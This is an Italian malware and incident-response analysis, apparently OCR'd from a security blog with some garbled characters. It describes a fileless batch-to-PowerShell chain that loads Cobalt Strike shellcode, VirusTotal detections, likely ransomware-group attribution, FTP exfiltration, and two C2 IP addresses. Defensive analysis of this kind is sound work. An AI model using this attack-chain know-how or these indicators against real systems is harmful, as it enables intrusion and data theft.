Questa tecnica si riferisce all'uso di metodi di codifica per nascondere dati o comandi.
Codifica Base64: L'analisi rileva che il codice usa la codifica Base64 per nascondere il comando PowerShell effettivo.

T1140 Deobfuscate/Decode Files or Information - Decodifica e de-offuscamento:
Questa tecnica descrive |'azione di decodificare o de-offuscare informazioni o file, spesso in memoria.
Decodifica in-memory: Il codice Base64 viene decodificato ed eseguito, senza dover scrivere file su disco, rendendo I'analisi piu

complessa e la rilevazione piu difficile.
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Secondo segmento di codice powershell.

Possiamo analizzare nel dettaglio l'intera catena di attacco. La
sequenza inizia con un payload contenuto in un file batch (.bat).
Questo codice inizializza il processo di decodifica di un secondo Questo segmento di codice rappresenta lo shellcode malevolo,
segmento di codice, che viene immediatamente eseguito per che & stato caricato ed eseguito direttamente nella memoria

proseguire |'attacco.

B
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ANALISI VIRUSTOTAL

https://www.virustotal.com/gui/file/b02baa47bc9994246e0e6218bbd94f9eb5aed6f16a33fcf4093a2042b06c9fcO?nocache=1

L'analisi dinamica del payload, effettuata tramite la piattaforma VirusTotal, ha rilevato indicatori di compromissione specifici del

framework di emulazione delle minacce Cobalt Strike.

a
E Q  b02baad7bc9994246e0e6218bbd94feb5aed6f16a33fcf4093a2042b06cfcO & [ @ % signin
(D 22/62 security vendors flagged this file as malicious C Reanalyze = Similar~ More Vv
payload2.bat 5.69 KB 3 hours ago
Community N
Score powershell ~ spreader  detect-debug-environment  long-sleeps  checks-disk-space
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY ' 5

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label () trojan.powershell/cobeacon Threat categories trojan  downloader Family labels powershell  cobeacon

Security vendors' analysis Do you want to automate checks?

Avira (no cloud) @ TR/PowerShell.Gen Cynet @ Malicious (score: 99)

DrWeb @ PowerShell.DownLoader.58 ESET-NOD32 @ PowerShell/Kryptik.EJ

Fortinet @ PowerShell/Kryptik.EJ!tr Google @ Detected

Huorong @ VirTool/PS.Obfuscated.a lkarus @ Trojan.PowerShell.Crypt

Kaspersky @ HEUR:Trojan.Win32.Cobalt.gen Microsoft @ Trojan:PowerShell/Malgent. HNAFIMTB v
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ATTRIBUZIONE

Dopo aver concluso l'analisi dei 2 artefatti trovati sulla rete della vittima abbiamo notato un’estrema somiglianza con script utilizzati da
operatori BlackBasta nella seconda meta del 2024. Secondo le indagini di Incident Response |'attore che ha sparso questi 2 script nella rete
della vittima era all'interno della rete da mesi riuscendo a rimanere inosservato a causa di mancanza di controlli adeguati nella rete.

Il contesto che accompagna i due artefatti trovati fa pensare ad una operazione ransomware successivamente sventata prima che potessero
attivare i locker sull'intera rete. | due artefatti hanno alzato alert EDR senza che pero ne venisse bloccata I'esecuzione, grazie ad una azione
veloce dei difensori sono riusciti ad isolare la rete ed entrare in possesso degli script PowerShell. Nessun ransomware é stato eseguito ma
non si puo escludere I'esfiltrazione di dati da parte degli attaccanti. Gli aggressori non hanno disattivato né aggirato la soluzione EDR presente
lasciando supporre che l'obiettivo finale fosse un ransomware deployment non arrivato a compimento, tipicamente gli EDR vengono bloccati
appena prima delle fasi di cifratura.

La vittima & localizzata nell’ltalia nord-est che abbiamo individuato essere una zona calda per il gruppo Akira, sempre questo gruppo é stato

osservato usare in Italia strumenti analoghi a quelli di BlackBasta che dopo la sua implosione ha visto i suoi componenti muoversi appunto su

gruppi come Akira e Cactus. Non avendo ulteriori dettagli non possiamo confermare con certezza quale attore sia stato responsabile di
questa intrusione limitandoci ad osservare la somiglianza di cui sopra. Cid che é certo é la catena operativa: accesso con credenziali valide,
propagazione fileless, esfiltrazione dati e preparazione alla fase finale.

Come detto nell'introduzione é stato trovato un file di 16GB su uno dei Domain Controller della rete di riferimento esfiltrati via FTP.
Ulteriormente un file TXT con Utente, Password ed IP del server FTP evidenziando due IP address differenti :

e 185.225.19.240 : Server C2 esterno (geolocalizzato in Russia) usato per esfiltrazione e controllo remoto
e 185.225.19.244: IP correlato alla stessa infrastruttura malevola

Gli attaccanti hanno ovviamente cambiato le credenziali presenti sul file TXT.
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CONSIDERAZIONI FINALI

L’assenza di sistemi IPS e di controllo del traffico di rete non hanno solo lasciato agire gli attaccanti indisturbati ma rendono complicati la
ricostruzione della kill-chain eseguita da quest'ultimi. L'utilizzo di script simili a quelli del 2024 ha fatto scattare alert EDR prendendo
I'attenzione dei difensori ma 'esecuzione non é stata bloccata in automatico sottolineando che I'implementazione di sistema di sicurezza non
€ niente senza la giusta attenzione. Inoltre le credenziali dell’ex-dipendente non sono state gestite adeguatamente lasciando una porta di
accesso che doveva essere chiusa in tempo, senza monitoraggio avanzato e revisione continua delle credenziali, le intrusioni moderne non

hanno bisogno di exploit basta una password dimenticata.

Analisi dinamica (Script 1)
Analisi dinamica (Script 2)

Se pur non particolarmente complessa, speriamo che I'analisi riportata possa dare uno sguardo tecnico a come tool off-the-shelf vengono
uniti con tooling creati in-house dagli attaccanti che permettono operazioni in Italia ed Europa oltre che il resto del mondo.

Hai altri malware, sample o simili da farci analizzare? Contattaci tramite i canali di comunicazione RHC!
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